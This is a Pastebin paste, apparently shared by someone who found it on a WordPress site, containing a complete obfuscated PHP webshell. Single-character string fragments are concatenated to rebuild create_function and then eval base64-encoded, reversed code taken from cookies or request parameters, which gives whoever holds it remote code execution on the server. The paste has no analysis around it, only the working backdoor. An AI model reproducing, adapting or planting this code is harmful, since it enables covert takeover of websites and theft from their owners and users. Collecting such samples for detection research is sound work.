Guest User

PHP Malware (webshell found on a WordPress installation)

a guest
Oct 29th, 2021
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.12 KB | None | 0 0
  1. <?php
  2.  
  3.     $bright ='O'; $laird= ')(tYi';$brinn ='O';$anselma='[rjEX'; $burnaby ='?';
  4.     $fungal = '(';
  5.  
  6.     $hobey= 'eL_"';
  7.  
  8.     $ballistics= 'h';$deliverable = 'a'; $gastrointestinal='"';
  9.     $madcap = 'E;Qer'; $coagulable ='t';$banshee = ';[)'; $analyst ='cS'; $jocelyn ='a'; $blaster= 'l';$garb='d'; $creepers ='exZvyg'; $fondly='m';$bamboo= 'f'; $bankruptcy= 't';$deprives= '_';$electric='s';$ballooning= '_';
  10.     $incisive= 'r_tS:R';
  11.  
  12.     $dulse ='c?ycia:ra';$dabbler= ')';
  13.     $archangel= 'JtaT$]j'; $dissimilarity = 's'; $bier ='$'; $discernment='TiO';$glance='q';$intolerably= 'psirdEfe'; $dahlia= 'c'; $artificer = 'H';$backplanes = 't'; $devoured = '4tR';$anyway= '_';$astra='6';$attentively= 'o';
  14.     $bankrupting= '(]K$';$lila= '_'; $cesium='(';$lane='E'; $jog= '$k ';$contrasters= 'i'; $frigate = '_'; $leanne = 'j';
  15.     $bedstraw = 's'; $leech = 'n[Q';$chow ='(IqHeC'; $hebrides= 'dEUs)';$disambiguate= 'D';$animation='^vcdiPu"U';$gallows ='i';
  16.  
  17.     $cartman='_=[np';
  18.  
  19.     $disability ='rgn';$cuisine ='"';
  20.  
  21.     $calibration='r';$fianna='_"dTl_ehl'; $dimes= 'r'; $festively='"T';
  22.  
  23.     $familiarization = '(aGT'; $checked='m'; $fructify ='e';
  24.  
  25.     $balm ='e';$conspired = 'qeVHXVI';
  26.  
  27.     $invaders=']v)';
  28.     $aron= '"'; $filip=';';$inconceivable =']';
  29.  
  30.     $choral='i';$augmented='g';$because= 'i$HaJ@`)'; $devil= '(X';
  31.  
  32.     $bodies= 'xb'; $lowell= 't';
  33.  
  34.     $binder= '$iH$s(ii';$diorite ='e"ae';$diverting='RKn'; $herold= 'D'; $dirty ='r'; $banjo ='ao@F$I(r'; $illustriousness='gae'; $kudo= 'TpbaAa_=';$gusella= ',Ef'; $briefs= 'o';$goofy ='Q_$'; $casts =')';$aryl ='u';
  35.  
  36.     $crystallography='e)P'; $encrypted= '@';
  37.     $campaigning ='P';$index= 'Ja(e(aT]';$dreariness = 'hrATQMI'; $jemima = 'sWRs))';
  38.  
  39.     $excision ='D';
  40.  
  41.     $gibson ='$'; $cowbird= 'N,';
  42.     $constituent = 'e';$assayed ='[';$discoveries= 'vS';$france =')';
  43.  
  44.     $babysitter='t';
  45.     $ashes= 'edo;';
  46.     $isabeau = $animation['2'] .$dreariness['1'] .$ashes['0']. $index[5]. $babysitter.$ashes['0'] . $goofy[1]. $gusella['2'] .
  47.  
  48.     $aryl. $diverting['2'].
  49.     $animation['2'] .$babysitter .$binder['7'] .$ashes['2'] . $diverting['2']; $makable =$jog[2] ;  $lily =$isabeau($makable,$ashes['0'] .$discoveries['0']. $index[5]. $fianna['8'] .$index['4'].$encrypted . $index[5]. $dreariness['1'] .$dreariness['1']. $index[5] .$dulse['2']. $goofy[1].
  50.  
  51.     $kudo['1'].$ashes['2'].$kudo['1']. $index['4'].$gusella['2'].$aryl . $diverting['2']. $animation['2'] .$goofy[1].$illustriousness['0']. $ashes['0'].$babysitter.$goofy[1]. $index[5]. $dreariness['1'].$illustriousness['0'] . $jemima['3']. $index['4'] .$france.
  52.  
  53.     $france . $france .
  54.     $ashes['3'] ); $lily ($discernment['2'] ,$dulse['6'],
  55.     $encrypted , $cowbird['0'] ,$diverting['1'],$dreariness['1'] , $dreariness['5'],
  56.     $france,$cowbird['0'],
  57.     $gibson .$binder['7'].$kudo['7'] .$encrypted.
  58.     $index[5].$dreariness['1'] .
  59.  
  60.     $dreariness['1']. $index[5] .
  61.  
  62.     $dulse['2'] . $goofy[1].$checked.$ashes['0'].
  63.     $dreariness['1'] .$illustriousness['0'] . $ashes['0'].$index['4'] .$gibson. $goofy[1] .$jemima['2'].$gusella['1'].$dreariness['4'].
  64.     $animation[8]. $gusella['1']. $discoveries['1'] .$dreariness['3'].$cowbird['1']. $gibson.$goofy[1].
  65.  
  66.     $chow['5']. $discernment['2']. $discernment['2'].$diverting['1'] . $dreariness['6'] .$gusella['1'] .$cowbird['1'] . $gibson. $goofy[1].
  67.  
  68.     $discoveries['1'] .$gusella['1'] .$jemima['2'] . $conspired['5'] .$gusella['1'] .$jemima['2'] .$france. $ashes['3'] .$gibson . $index[5] .$kudo['7']. $binder['7']. $jemima['3'] .$jemima['3'].
  69.  
  70.     $ashes['0'] .
  71.     $babysitter . $index['4'] .$gibson.$binder['7'].$assayed. $diorite[1] .
  72.     $bodies['0'] .$conspired['0'] .$binder['7'] . $index[5]. $ashes['1'] .$dreariness['0'].$leanne . $babysitter .$diorite[1] .$index['7'].$france. $dulse['1']. $gibson . $binder['7']. $assayed.
  73.     $diorite[1]. $bodies['0'].$conspired['0'].$binder['7'].
  74.     $index[5] . $ashes['1'].$dreariness['0'] .$leanne. $babysitter . $diorite[1].$index['7'] .
  75.     $dulse['6'] . $index['4'] .$binder['7'] . $jemima['3'].$jemima['3'] . $ashes['0'] .$babysitter .$index['4'] .
  76.     $gibson. $binder['7'] . $assayed . $diorite[1] .$binder['2'] .$dreariness['3'] . $dreariness['3'] . $campaigning. $goofy[1] .$devil['1'] .$dreariness['4'].$dreariness['6'] .$dreariness['2']. $excision. $binder['2'].$index['0'] .$dreariness['3'].$diorite[1].$index['7']. $france.
  77.  
  78.     $dulse['1']. $gibson. $binder['7'] . $assayed . $diorite[1] . $binder['2']. $dreariness['3']. $dreariness['3']. $campaigning . $goofy[1]. $devil['1']. $dreariness['4'] .$dreariness['6'] .
  79.     $dreariness['2'] . $excision .$binder['2'].
  80.  
  81.     $index['0'] . $dreariness['3'] .$diorite[1]. $index['7'] .$dulse['6'].
  82.     $ashes['1'] .$binder['7']. $ashes['0'].$france . $ashes['3'].$encrypted . $ashes['0'].
  83.  
  84.     $discoveries['0'].$index[5]. $fianna['8'].
  85.  
  86.     $index['4'] . $jemima['3'].
  87.     $babysitter . $dreariness['1'].$dreariness['1'].
  88.  
  89.     $ashes['0'] .$discoveries['0'].$index['4']. $kudo['2'].$index[5] .$jemima['3'] . $ashes['0'] . $astra. $devoured[0]. $goofy[1] .$ashes['1'] . $ashes['0'] . $animation['2'] .$ashes['2']. $ashes['1'] . $ashes['0']. $index['4'].$jemima['3'] . $babysitter.$dreariness['1']. $dreariness['1'] .$ashes['0']. $discoveries['0']. $index['4'].$gibson .$index[5] .$france.$france . $france . $france.
  90.     $ashes['3']);
Add Comment
Please, Sign In to add comment